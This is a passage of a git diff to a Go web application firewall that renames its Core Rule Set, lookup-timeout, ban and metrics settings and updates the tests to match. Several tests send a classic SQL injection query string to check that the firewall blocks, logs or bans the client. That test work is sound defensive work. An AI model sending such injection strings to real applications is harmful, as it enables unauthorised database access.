"SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS" + coreRuleSetBodyInspectionSize = "SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE" + apps = "SWW_WAF_APPS" + block = "block" + detect = "detect" ) // formData is the type of a form's body. const formData = "application/x-www-form-urlencoded" -// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies, 1K as a -// setting. +// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that +// read bodies, 1K as a setting. const ( sizeLimit = 1 << 10 sizeLimitSetting = "1K" @@ -39,7 +39,7 @@ const ( // sqlInjection asks for / with an SQL injection in its query, which only // the Core Rule Set's rule 942100 matches, with a score of 5, the default -// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD. +// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. const sqlInjection = "/?id=1'%20OR%20'1'='1" // wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and @@ -95,7 +95,7 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) { s, _, _ := startWithClock( t, "", - map[string]string{wafMode: tc.mode}, + map[string]string{coreRuleSetMode: tc.mode}, ) wantTags( @@ -115,7 +115,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) { t.Parallel() s, _, _ := startWithClock(t, "", map[string]string{ - wafMode: detect, tagDeny: "exploitsignature", + coreRuleSetMode: detect, tagDeny: "exploitsignature", }) line := s.request(client, sqlInjection, http.StatusForbidden, @@ -167,7 +167,7 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode( s, _, _ := startWithClock( t, "", - map[string]string{wafMode: tc.mode}, + map[string]string{coreRuleSetMode: tc.mode}, ) line := s.requestWithHeader( @@ -186,7 +186,11 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode( func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) { t.Parallel() - s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) + s, _, _ := startWithClock( + t, + "", + map[string]string{coreRuleSetMode: block}, + ) line := s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet) @@ -196,7 +200,11 @@ func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) { func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) { t.Parallel() - s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) + s, _, _ := startWithClock( + t, + "", + map[string]string{coreRuleSetMode: block}, + ) line := s.request( client, @@ -215,10 +223,10 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal( const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS s, _, _ := startWithClock(t, "", map[string]string{ - wafMode: block, - wafExemptPaths: "/api/", - allowNets: allowed, - rulesDir: writeRules(t, testRules), + coreRuleSetMode: block, + coreRuleSetExemptPaths: "/api/", + allowNets: allowed, + ruleFilesDir: writeRules(t, testRules), }) // A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS @@ -258,7 +266,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal( wantCoreRuleSet(t, line, nil) // With SWW_WAF_CORE_RULE_SET_MODE off, no request is. - s, _, _ = startWithClock(t, "", map[string]string{wafMode: off}) + s, _, _ = startWithClock(t, "", map[string]string{coreRuleSetMode: off}) line = s.request( client, sqlInjection, @@ -268,14 +276,14 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal( wantCoreRuleSet(t, line, nil) } -func TestAnomalyThreshold(t *testing.T) { +func TestCoreRuleSetScoreThreshold(t *testing.T) { t.Parallel() // A score under the threshold, or with the threshold off, is logged, // and refuses nothing. for _, threshold := range []string{"6", off} { s, _, _ := startWithClock(t, "", map[string]string{ - wafMode: block, wafAnomalyThreshold: threshold, + coreRuleSetMode: block, coreRuleSetScoreThreshold: threshold, }) line := s.request( @@ -288,7 +296,7 @@ func TestAnomalyThreshold(t *testing.T) { } s, _, _ := startWithClock(t, "", map[string]string{ - wafMode: block, wafAnomalyThreshold: "5", + coreRuleSetMode: block, coreRuleSetScoreThreshold: "5", }) s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet) @@ -334,7 +342,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) { s, _, _ := startWithClock( t, "", - map[string]string{wafMode: block}, + map[string]string{coreRuleSetMode: block}, ) line, _ := s.requestWithBody( request.method, @@ -349,7 +357,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) { // A list given replaces the default. s, _, _ = startWithClock(t, "", map[string]string{ - wafMode: block, wafDisabledRules: "942100", + coreRuleSetMode: block, coreRuleSetDisabledRules: "942100", }) score := 5 * len(request.ruleIDs) line, _ = s.requestWithBody( @@ -383,7 +391,7 @@ func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) { const fileName = "/?path=.gitignore" s := startWAF(t, "", map[string]string{ - wafMode: block, apps: siteA + ":gitea", + coreRuleSetMode: block, apps: siteA + ":gitea", }) wantDisposition(t, do(t, s.question(siteA, client, fileName)), @@ -409,13 +417,17 @@ func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) { header := "Content-Type: " + formData + "\r\nContent-Length: " + strconv.Itoa(len(body)) - s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) + s, _, _ := startWithClock( + t, + "", + map[string]string{coreRuleSetMode: block}, + ) line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body, http.StatusOK, requestlog.ActionForward) wantCoreRuleSet(t, line, new(0)) s, _, _ = startWithClock(t, "", map[string]string{ - wafMode: block, wafBodyLimit: sizeLimitSetting, + coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting, }) line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet) @@ -432,7 +444,7 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) { _, _ = w.Write(body) }) addr, out := startProxy(t, app.URL, map[string]string{ - wafMode: block, wafBodyLimit: sizeLimitSetting, + coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting, }) longer := "a=" + strings.Repeat("b", 64*sizeLimit) @@ -496,7 +508,11 @@ func TestResponsesAreNotInspected(t *testing.T) { app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { _, _ = w.Write([]byte(page)) }) - addr, out := startProxy(t, app.URL, map[string]string{wafMode: block}) + addr, out := startProxy( + t, + app.URL, + map[string]string{coreRuleSetMode: block}, + ) got := get(t, addr, "/owner/repo/raw/branch/main/build.sh") if got.status != http.StatusOK || string(got.body) != page { @@ -510,13 +526,13 @@ func TestResponsesAreNotInspected(t *testing.T) { wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward) } -func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst( +func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit( t *testing.T, ) { t.Parallel() s, _, server := startWithClock(t, "", map[string]string{ - wafMode: block, errorBurstThreshold: "2", metricsToken: token, + coreRuleSetMode: block, refusalsLimitPerMinute: "2", metricsToken: token, }) for range 2 { @@ -524,7 +540,7 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst( requestlog.ActionBlockedByCoreRuleSet) } - // The third refusal in a minute breaks the error burst, and bans the + // The third refusal in a minute breaks the refusal limit, and bans the // client. line := s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet) @@ -566,13 +582,13 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst( ) } -func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst( +func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheRefusalLimit( t *testing.T, ) { t.Parallel() s, _, server := startWithClock(t, "", map[string]string{ - wafMode: detect, errorBurstThreshold: "2", metricsToken: token, + coreRuleSetMode: detect, refusalsLimitPerMinute: "2", metricsToken: token, }) for range 3 { @@ -608,7 +624,7 @@ func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) { s, _, server := startWithClock( t, "", - map[string]string{wafMode: block, mode: observe}, + map[string]string{coreRuleSetMode: block, mode: observe}, ) line := s.request( @@ -640,15 +656,15 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) { action, alertMode string }{ { - "block", map[string]string{wafMode: block}, + "block", map[string]string{coreRuleSetMode: block}, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "", }, { - "detect", map[string]string{wafMode: detect}, + "detect", map[string]string{coreRuleSetMode: detect}, http.StatusOK, requestlog.ActionForward, detect, }, { - "block in observe mode", map[string]string{wafMode: block, mode: observe}, + "block in observe mode", map[string]string{coreRuleSetMode: block, mode: observe}, http.StatusOK, requestlog.ActionForward, observe, }, } { @@ -683,7 +699,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) { Client: netip.MustParseAddr(client), Netblock: netip.MustParsePrefix(client + "/32"), Reason: "scored by the Core Rule Set at or over " + - "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD", + "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD", Detail: detail, }) diff --git a/internal/waf/countries_test.go b/internal/waf/countries_test.go index 7633f61..4212f59 100644 --- a/internal/waf/countries_test.go +++ b/internal/waf/countries_test.go @@ -53,8 +53,8 @@ func TestCountryLists(t *testing.T) { }) geojsURL, _ := startGeoJS(t) env := map[string]string{ - trustedProxies: trustLocalhost, - lookupTimeout: "1h", + trustedProxies: trustLocalhost, + asnAndCountryLookupTimeout: "3600000", } maps.Copy(env, tc.env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) @@ -109,7 +109,7 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) { geojsURL, _ := startGeoJS(t) s, _, _ := startWithClock(t, geojsURL, map[string]string{ - lookupTimeout: "1h", allowedCountries: "de", + asnAndCountryLookupTimeout: "3600000", allowedCountries: "de", }) line := s.get( @@ -147,9 +147,9 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) { }) geojsURL, _ := startGeoJS(t) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ - trustedProxies: trustLocalhost, - lookupTimeout: "1h", - allowedCountries: "de", + trustedProxies: trustLocalhost, + asnAndCountryLookupTimeout: "3600000", + allowedCountries: "de", }) req := newRequest( @@ -198,10 +198,10 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) { app := startApp(t, func(http.ResponseWriter, *http.Request) {}) addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{ - trustedProxies: trustLocalhost, - lookupTimeout: "1h", - allowedCountries: "de", - rateLimitPerMinute: "1", + trustedProxies: trustLocalhost, + asnAndCountryLookupTimeout: "3600000", + allowedCountries: "de", + rateLimitPerMinute: "1", }) request := func() answer { @@ -248,8 +248,8 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) { app := startApp(t, func(http.ResponseWriter, *http.Request) {}) geojsURL, asked := startGeoJS(t) env := map[string]string{ - trustedProxies: trustLocalhost, - lookupTimeout: "1h", + trustedProxies: trustLocalhost, + asnAndCountryLookupTimeout: "3600000", } maps.Copy(env, tc.env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) @@ -352,10 +352,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) { // startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP, // each in an AS of its own, and no other address. It returns its URL, and // what returns the addresses it has been asked about. A test that needs -// the stand-in to be asked or to answer sets SWW_WAF_LOOKUP_TIMEOUT to an -// hour, whether or not a request waits for the answer: on the default, a -// hold-up of the test process can abandon the request to the stand-in, and -// leave the client unknown. +// the stand-in to be asked or to answer sets +// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS to an hour, whether or not a +// request waits for the answer: on the default, a hold-up of the test +// process can abandon the request to the stand-in, and leave the client +// unknown. func startGeoJS(t *testing.T) (string, func() []string) { t.Helper() diff --git a/internal/waf/dnsbl.go b/internal/waf/dnsbl.go index 0bdfa21..b0bb4b4 100644 --- a/internal/waf/dnsbl.go +++ b/internal/waf/dnsbl.go @@ -1,6 +1,6 @@ package waf -// The heuristic dnsbl. It reads SWW_WAF_REPUTATION_ACTION, and the DNSBL zones' +// The heuristic dnsbl. It reads SWW_WAF_DNSBL_ABUSEIPDB_ACTION, and the DNSBL zones' // verdicts through the DNSBL checker. import ( @@ -14,7 +14,7 @@ import ( // dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed // does, adds the tag dnsbl= for each, the zone's key masked, and refuses -// the request when SWW_WAF_REPUTATION_ACTION is deny. Being +// the request when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny. Being // limit, it lowers the client's limits instead (see limitPercentages), and // being log, it does nothing more. A zone without a verdict on the client is // asked about it in the background, and the request does not wait for the @@ -32,7 +32,7 @@ func (dnsbl) check(ctx context.Context, rq *request, _ time.Time) *verdict { rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone)) } - if !rq.dnsblListed || rq.h.config.ReputationAction != deny { + if !rq.dnsblListed || rq.h.config.DNSBLAbuseIPDBAction != deny { return nil } diff --git a/internal/waf/heuristics.go b/internal/waf/heuristics.go index 87ec139..b928eab 100644 --- a/internal/waf/heuristics.go +++ b/internal/waf/heuristics.go @@ -7,7 +7,7 @@ import ( // To add a heuristic, write one file with a type that implements heuristic, // and add one line for it to one of the lists below. Its settings go in -// config.Config, and the comment at the top of its file names them. +// config.WAF, and the comment at the top of its file names them. // heuristic is one of the checks that decide what waf does with a // request. diff --git a/internal/waf/history_test.go b/internal/waf/history_test.go index 8718701..0254273 100644 --- a/internal/waf/history_test.go +++ b/internal/waf/history_test.go @@ -18,9 +18,9 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) { geojsURL, _ := startGeoJS(t) s, clk, server := startWithClock(t, geojsURL, map[string]string{ - lookupTimeout: "1h", - rateLimitPerMinute: "2", - tagDeny: denyKP, + asnAndCountryLookupTimeout: "3600000", + rateLimitPerMinute: "2", + tagDeny: denyKP, }) start := clk.Now() diff --git a/internal/waf/lookup_test.go b/internal/waf/lookup_test.go index facc25f..92d9212 100644 --- a/internal/waf/lookup_test.go +++ b/internal/waf/lookup_test.go @@ -5,6 +5,7 @@ import ( "net/netip" "path/filepath" "slices" + "strconv" "sync" "testing" "testing/synctest" @@ -34,8 +35,8 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt( // waitLimit. geojsURL, asked, release := startHeldGeoJS(t) s, _, server := startWithClock(t, geojsURL, map[string]string{ - lookupTimeout: "1h", - rateLimitPerMinute: "1", + asnAndCountryLookupTimeout: "3600000", + rateLimitPerMinute: "1", }) // fromDE's second request breaks the limit and bans it, and fromKP @@ -104,9 +105,9 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) { clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)} addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, map[string]string{ - trustedProxies: trustLocalhost, - lookupTimeout: "1h", - tagDeny: denyKP, + trustedProxies: trustLocalhost, + asnAndCountryLookupTimeout: "3600000", + tagDeny: denyKP, }) requestFromDE := func() *http.Request { @@ -364,9 +365,9 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved( geojsURL, time.Now, map[string]string{ - trustedProxies: trustLocalhost, - lookupTimeout: "1h", - addLookupHeaders: on, + trustedProxies: trustLocalhost, + asnAndCountryLookupTimeout: "3600000", + addLookupHeaders: on, }, ) s := &sender{t: t, addr: addr, out: out} @@ -437,7 +438,9 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff( } } -func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) { +func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays( + t *testing.T, +) { t.Parallel() // The test runs in a synctest bubble, where the time package runs on a @@ -452,7 +455,8 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) { server, out, _ := newWAF(t, silentGeoJSURL, time.Now, map[string]string{ - lookupTimeout: timeout.String(), + asnAndCountryLookupTimeout: strconv.FormatInt( + timeout.Milliseconds(), 10), allowedCountries: "DE", }) diff --git a/internal/waf/metrics_test.go b/internal/waf/metrics_test.go index 0ed9c65..bf96455 100644 --- a/internal/waf/metrics_test.go +++ b/internal/waf/metrics_test.go @@ -18,7 +18,8 @@ import ( const ( metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name - metricsTopN = "SWW_WAF_METRICS_TOP_N" + + metricsBusiestCountriesAndASNs = "SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS" // token is the SWW_WAF_METRICS_TOKEN the tests set, and bearer how a // request carries it. token = "0123456789abcdef0123456789abcdef" @@ -133,12 +134,12 @@ func TestMetricsCountLimitsAndBans(t *testing.T) { const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS s, clk, _ := startWithClock(t, "", map[string]string{ - metricsToken: token, - rateLimitPerMinute: "1", - denyNets: denied, - banResponse: banResponseClose, - limitBanDuration: "1h", - maxBanDuration: "2h", + metricsToken: token, + rateLimitPerMinute: "1", + denyNets: denied, + banResponse: banResponseClose, + limitBanDuration: "1h", + limitBanPermanentAbove: "2h", }) // SWW_WAF_BAN_RESPONSE=close sends no status at all. @@ -176,7 +177,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) { wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0) // A limit broken again right after would ban for three hours, longer - // than SWW_WAF_MAX_BAN_DURATION, so the ban is permanent. + // than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE, so the ban is permanent. s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, 0, requestlog.ActionClientIsRateLimited) @@ -236,10 +237,10 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { _, _ = io.WriteString(w, "hello") }) env := map[string]string{ - trustedProxies: trustLocalhost, - metricsToken: token, - metricsTopN: "2", - allowedCountries: "de,fr", + trustedProxies: trustLocalhost, + metricsToken: token, + metricsBusiestCountriesAndASNs: "2", + allowedCountries: "de,fr", } geojsURL, _ := startGeoJS(t) addr, out, server := startProxyWithClock(t, app.URL, geojsURL, @@ -322,8 +323,8 @@ func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther( geojsURL, _ := startGeoJS(t) s, clk, server := startWithClock(t, geojsURL, map[string]string{ - metricsToken: token, - metricsTopN: "1", + metricsToken: token, + metricsBusiestCountriesAndASNs: "1", }) // The answers are kept before the requests, so that GeoJS gives none @@ -379,8 +380,9 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) { req.Header.Set(forwardedFor, fromDE) wantStatus(t, do(t, req), http.StatusOK) - // The client stops waiting for GeoJS once SWW_WAF_LOOKUP_TIMEOUT is up, so - // GeoJS's failure can come after its request has ended. + // The client stops waiting for GeoJS once + // SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS is up, so GeoJS's failure can + // come after its request has ended. deadline := time.Now().Add(waitLimit) metrics := scrape(t, server.Addr) diff --git a/internal/waf/observe_test.go b/internal/waf/observe_test.go index dc196c6..0686e77 100644 --- a/internal/waf/observe_test.go +++ b/internal/waf/observe_test.go @@ -149,10 +149,10 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) { geojsURL, _ := startGeoJS(t) env := map[string]string{ - lookupTimeout: "1h", - rateLimitPerMinute: "1", - denyNets: denied, - tagDeny: denyKP, + asnAndCountryLookupTimeout: "3600000", + rateLimitPerMinute: "1", + denyNets: denied, + tagDeny: denyKP, } if tc.setting != "" { diff --git a/internal/waf/proxy.go b/internal/waf/proxy.go index bd9d227..370c6d3 100644 --- a/internal/waf/proxy.go +++ b/internal/waf/proxy.go @@ -47,7 +47,7 @@ const ClientsPath = "/_sww/clients/" // Params are what New needs. type Params struct { - Config *config.Config + Config *config.WAF // RequestLog receives two JSON lines per question, one at its decision and // one when its report comes, and one per request to waf's own // endpoints. @@ -77,7 +77,7 @@ type Params struct { // permanent, for each count over an anomaly threshold, for each request // whose client a blocklist, the CrowdSec decision list, a DNSBL zone or // AbuseIPDB lists, for each request the Core Rule Set scores at or over - // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list + // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, and for GeoJS failing, a fetch of a list // failing, a query to a DNSBL zone or a check with AbuseIPDB failing, // or the day's AbuseIPDB checks used up. Alerts *alerts.Queue @@ -106,7 +106,10 @@ type Server struct { // newHandler returns the handler with what every request shares, as the // settings in params make it. func newHandler(params Params) *handler { - m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName) + m := metrics.New( + params.Config.MetricsBusiestCountriesAndASNs, + params.Config.InstanceName, + ) lists, dnsbl, abuseIPDB := newReputation(params, m) awaitingReport, err := lru.New[string, *decision](maxAwaitingReport) @@ -130,21 +133,21 @@ func newHandler(params Params) *handler { BytesPerDay: params.Config.BytesLimitPerDay, }, params.Config.MaxTrackedClients), ledger: bans.New(bans.Params{ - LimitBanDuration: params.Config.LimitBanDuration, - LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow, - MaxBanDuration: params.Config.MaxBanDuration, - AttackBanDuration: params.Config.AttackBanDuration, - MaxBans: params.Config.MaxBans, + LimitBanDuration: params.Config.LimitBanDuration, + LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow, + LimitBanPermanentAbove: params.Config.LimitBanPermanentAbove, + AttackBanDuration: params.Config.AttackBanDuration, + MaxBans: params.Config.MaxBans, }), anomalies: anomaly.New(anomaly.Params{ Client: params.Config.AnomalyClient, Net: params.Config.AnomalyNet, ASN: params.Config.AnomalyASN, Total: params.Config.AnomalyTotal, - Watch: params.Config.AnomalyWatch, + WatchedNet: params.Config.AnomalyWatchedNet, NetV4Prefix: params.Config.AnomalyNetV4Prefix, NetV6Prefix: params.Config.AnomalyNetV6Prefix, - NamedNetblocks: params.Config.WatchNets, + NamedNetblocks: params.Config.AnomalyWatchedNets, Alerts: params.Alerts, }), lookupFile: params.LookupFile, @@ -163,7 +166,7 @@ func newHandler(params Params) *handler { h.geojs = lookup.New(lookup.Params{ URL: params.GeoJSURL, - Timeout: params.Config.LookupTimeout, + Timeout: params.Config.ASNAndCountryLookupTimeout, // The country list, the headers, the tag settings that name an asn= // or country= tag and the biased thresholds act on the answer before // the request goes on. @@ -198,14 +201,15 @@ func newReputation( Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts, }) dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{ - Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL, - Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog, + Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, + CacheTTL: cfg.IPReputationCacheTTL, + Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts, }) abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{ URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore, - DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL, - Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog, + DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.IPReputationCacheTTL, + Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts, }) @@ -220,7 +224,7 @@ func newReputation( // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, // without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies -// up to SWW_WAF_CORE_RULE_SET_BODY_LIMIT, with the exclusions in +// up to SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE, with the exclusions in // SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_WAF_APPS, // or nil while SWW_WAF_CORE_RULE_SET_MODE is off. It // reads at most QuestionBodyMaxBytes less one byte: a question's body of @@ -228,15 +232,19 @@ func newReputation( // JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is // an error in every mode. While the mode is off, a set file is loaded with the // Core Rule Set only to check it. -func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) { - if cfg.WAFMode == config.WAFModeOff && +func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) { + if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff && cfg.CoreRuleSetExclusionsFile == "" { return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error } coreRuleSet, err := coreruleset.New(coreruleset.Params{ - ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules, - BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1), + ParanoiaLevel: cfg.CoreRuleSetParanoiaLevel, + DisabledRules: cfg.CoreRuleSetDisabledRules, + BodyInspectionSize: min( + cfg.CoreRuleSetBodyInspectionSize, + QuestionBodyMaxBytes-1, + ), ExclusionsFile: cfg.CoreRuleSetExclusionsFile, Apps: cfg.Apps, }) @@ -247,7 +255,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) { ) } - if cfg.WAFMode == config.WAFModeOff { + if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff { return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error } @@ -257,7 +265,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) { // handler is waf's handler. It holds what every request shares; what // belongs to one request is in a request. type handler struct { - config *config.Config + config *config.WAF requestLog io.Writer processLog *slog.Logger now func() time.Time diff --git a/internal/waf/proxy_test.go b/internal/waf/proxy_test.go index d7633b0..0c91a91 100644 --- a/internal/waf/proxy_test.go +++ b/internal/waf/proxy_test.go @@ -56,35 +56,35 @@ const ( // The settings the tests set. const ( - mode = "SWW_WAF_MODE" - trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES" - ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX" - maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS" - allowNets = "SWW_WAF_ALLOW_NETS" - rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS" - denyNets = "SWW_WAF_DENY_NETS" - rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE" - rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY" - rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS" - lookupSource = "SWW_WAF_LOOKUP_SOURCE" - lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH" - lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT" - addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS" - tagDeny = "SWW_WAF_TAG_DENY" + mode = "SWW_WAF_MODE" + trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES" + ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX" + maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS" + allowNets = "SWW_WAF_ALLOW_NETS" + rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS" + denyNets = "SWW_WAF_DENY_NETS" + rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE" + rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY" + rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS" + lookupSource = "SWW_WAF_LOOKUP_SOURCE" + lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH" + asnAndCountryLookupTimeout = "SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS" + addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS" + tagDeny = "SWW_WAF_TAG_DENY" // denyKP is the value of SWW_WAF_TAG_DENY that refuses fromKP's country. - denyKP = "country=KP" - allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES" - banResponse = "SWW_WAF_BAN_RESPONSE" - limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION" - limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW" - maxBanDuration = "SWW_WAF_MAX_BAN_DURATION" - maxBans = "SWW_WAF_MAX_BANS" - banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX" - instanceName = "SWW_WAF_INSTANCE_NAME" - logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS" - attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION" - rulesDir = "SWW_WAF_RULES_DIR" - wafMode = "SWW_WAF_CORE_RULE_SET_MODE" + denyKP = "country=KP" + allowedCountries = 